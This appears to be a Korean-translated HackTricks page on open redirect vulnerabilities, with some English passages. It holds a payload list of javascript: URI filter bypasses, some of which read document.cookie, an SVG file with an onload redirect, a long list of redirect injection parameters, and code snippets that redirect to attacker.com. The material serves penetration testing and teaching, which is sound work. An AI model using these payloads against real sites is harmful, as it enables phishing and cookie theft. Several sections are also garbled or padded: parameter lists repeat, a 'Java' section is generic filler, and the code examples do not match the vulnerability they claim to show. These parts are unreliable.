Open Redirect

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

오픈 리디렉트

로컬호스트 또는 임의의 도메인으로 리디렉트

pageURL Format Bypass

XSS로 오픈 리디렉트

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

SVG 파일 업로드를 통한 개방형 리디렉션

개요

개방형 리디렉션(Open Redirect)은 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나입니다. 이 취약점은 악의적인 공격자가 피해자를 다른 사이트로 리디렉션시킬 수 있는 기능을 이용하는 것입니다. 이번에는 SVG 파일 업로드를 통해 개방형 리디렉션 취약점을 악용하는 방법에 대해 알아보겠습니다.

개방형 리디렉션 취약점 이해하기

개방형 리디렉션 취약점은 웹 응용 프로그램에서 사용자 입력을 받아 URL을 생성할 때 발생할 수 있습니다. 일반적으로 개방형 리디렉션 취약점은 다음과 같은 형태로 나타납니다.

<a href="https://example.com/redirect?url=https://attacker.com">Click here</a>

위의 예시에서 https://example.com/redirect는 리디렉션을 처리하는 엔드포인트이며, url 매개변수는 리디렉션할 대상 URL을 지정합니다. 이 경우, 악의적인 공격자는 url 매개변수를 이용하여 피해자를 다른 사이트로 리디렉션시킬 수 있습니다.

SVG 파일 업로드를 통한 개방형 리디렉션 공격

SVG 파일은 벡터 기반 이미지 파일로, 웹 응용 프로그램에서 업로드할 수 있는 파일 형식 중 하나입니다. 악의적인 공격자는 SVG 파일을 업로드하여 개방형 리디렉션 취약점을 악용할 수 있습니다.

  1. 악의적인 공격자는 SVG 파일을 생성합니다. 이 SVG 파일은 개방형 리디렉션 취약점을 이용하여 피해자를 다른 사이트로 리디렉션시킬 것입니다.

  2. 악의적인 공격자는 웹 응용 프로그램의 파일 업로드 기능을 이용하여 악성 SVG 파일을 업로드합니다.

  3. 웹 응용 프로그램은 악성 SVG 파일을 업로드하고, 해당 파일의 URL을 생성합니다.

  4. 피해자가 해당 SVG 파일의 URL을 클릭하면, 개방형 리디렉션 취약점이 악의적인 공격자에 의해 악용되어 피해자가 다른 사이트로 리디렉션됩니다.

방어 및 예방 방법

개방형 리디렉션 취약점을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.

  • 사용자 입력을 받아 URL을 생성할 때, 신뢰할 수 있는 도메인만 허용하도록 필터링합니다.

  • URL 유효성 검사를 수행하여 악성 URL을 차단합니다.

  • 파일 업로드 기능에서 업로드되는 파일의 유형을 제한하고, SVG 파일과 같은 위험한 파일 형식을 차단합니다.

개방형 리디렉션 취약점을 예방하기 위해서는 웹 응용 프로그램의 보안 취약점을 정기적으로 점검하고, 적절한 보안 조치를 적용하는 것이 중요합니다.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

일반적인 인젝션 매개변수

Introduction

소개

Open redirect vulnerabilities occur when a web application redirects users to a URL specified by an attacker. This can be exploited by an attacker to redirect users to malicious websites or phishing pages, leading to various attacks such as session hijacking, credential theft, or malware installation.

오픈 리디렉트 취약점은 웹 애플리케이션이 사용자를 공격자가 지정한 URL로 리디렉션하는 경우 발생합니다. 이는 공격자가 사용자를 악성 웹사이트나 피싱 페이지로 리디렉션하여 세션 하이재킹, 자격증명 도용 또는 악성 소프트웨어 설치와 같은 다양한 공격을 수행하는 데 악용될 수 있습니다.

Exploiting Open Redirect Vulnerabilities

오픈 리디렉트 취약점 악용하기

To exploit an open redirect vulnerability, an attacker needs to identify the parameters that control the redirect behavior. Here are some common injection parameters to look for:

오픈 리디렉트 취약점을 악용하기 위해서는 공격자는 리디렉션 동작을 제어하는 매개변수를 식별해야 합니다. 다음은 찾아볼 수 있는 일반적인 인젝션 매개변수입니다:

  • url

  • redirect

  • next

  • return

  • redir

  • rurl

  • link

  • target

  • url

  • redirect

  • next

  • return

  • redir

  • rurl

  • link

  • target

These parameters are often found in the query string of the URL or in form parameters. By manipulating these parameters, an attacker can redirect the user to a URL of their choice.

이러한 매개변수는 URL의 쿼리 문자열이나 폼 매개변수에서 자주 발견됩니다. 공격자는 이러한 매개변수를 조작함으로써 사용자를 원하는 URL로 리디렉션할 수 있습니다.

Example

예시

Let's take a look at an example URL:

다음은 예시 URL을 살펴보겠습니다:

https://example.com/login?redirect=https://attacker.com

In this example, the redirect parameter controls the redirect behavior. By changing the value of the redirect parameter, an attacker can redirect the user to a different URL.

이 예시에서 redirect 매개변수가 리디렉션 동작을 제어합니다. 공격자는 redirect 매개변수의 값을 변경함으로써 사용자를 다른 URL로 리디렉션할 수 있습니다.

Conclusion

결론

Open redirect vulnerabilities can be dangerous as they can be used to trick users into visiting malicious websites or disclosing sensitive information. It is important for developers to properly validate and sanitize user input to prevent open redirect vulnerabilities.

오픈 리디렉트 취약점은 사용자를 악성 웹사이트로 유인하거나 민감한 정보를 노출시킬 수 있기 때문에 위험할 수 있습니다. 개발자는 오픈 리디렉트 취약점을 방지하기 위해 사용자 입력을 적절하게 검증하고 정제하는 것이 중요합니다.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
using System;
using System.Web;

namespace OpenRedirect
{
    public class Redirect
    {
        public static void Main(string[] args)
        {
            string url = "https://www.example.com";
            string redirectUrl = "https://www.attacker.com?redirect=" + HttpUtility.UrlEncode(url);
            Response.Redirect(redirectUrl);
        }
    }
}

PHP

<?php
$url = "https://www.example.com";
$redirectUrl = "https://www.attacker.com?redirect=" . urlencode($url);
header("Location: " . $redirectUrl);
exit;
?>

Python

import urllib

url = "https://www.example.com"
redirectUrl = "https://www.attacker.com?redirect=" + urllib.parse.quote(url)
print("Location: " + redirectUrl)

Ruby

require 'cgi'

url = "https://www.example.com"
redirectUrl = "https://www.attacker.com?redirect=" + CGI.escape(url)
puts "Location: " + redirectUrl

Java

import java.net.URLEncoder;

public class Redirect {
    public static void main(String[] args) {
        String url = "https://www.example.com";
        String redirectUrl = "https://www.attacker.com?redirect=" + URLEncoder.encode(url, "UTF-8");
        System.out.println("Location: " + redirectUrl);
    }
}

JavaScript

var url = "https://www.example.com";
var redirectUrl = "https://www.attacker.com?redirect=" + encodeURIComponent(url);
window.location.href = redirectUrl;
response.redirect("~/mysafe-subdomain/login.aspx")

Java

Java은 객체 지향 프로그래밍 언어로, 다양한 플랫폼에서 사용되는 널리 알려진 언어입니다. Java는 강력한 라이브러리와 프레임워크를 제공하여 개발자가 효율적으로 애플리케이션을 개발할 수 있도록 도와줍니다. Java는 가상 머신을 통해 실행되며, 이는 다양한 운영 체제에서 동일한 코드를 실행할 수 있게 해줍니다. Java는 안정성, 이식성, 보안성 등의 장점으로 인해 많은 개발자들에게 인기가 있습니다.

response.redirect("http://mysafedomain.com");

PHP

Open Redirect

Open Redirect 취약점은 악의적인 공격자가 웹 애플리케이션에서 사용되는 리다이렉션 기능을 이용하여 사용자를 다른 사이트로 유도하는 공격입니다. 이 취약점은 주로 웹 애플리케이션에서 사용자가 입력한 URL을 그대로 사용하여 리다이렉션을 수행하는 경우 발생할 수 있습니다.

공격자는 악의적인 목적을 가지고 사용자를 다른 사이트로 유도할 수 있으며, 이를 통해 피싱 공격, 세션 하이재킹 등의 다른 공격을 수행할 수 있습니다.

Open Redirect 취약점을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.

  • 사용자 입력을 신뢰할 수 있는지 확인하고, 신뢰할 수 없는 입력은 거부합니다.

  • 리다이렉션 URL을 미리 정의된 목록과 비교하여 신뢰할 수 있는지 확인합니다.

  • 리다이렉션 시 사용자에게 경고 메시지를 표시하여 유의하도록 안내합니다.

Open Redirect 취약점은 웹 애플리케이션의 보안을 위협할 수 있으므로, 개발자와 보안 전문가는 이를 인식하고 적절한 대응 방안을 마련해야 합니다.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

도구

자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated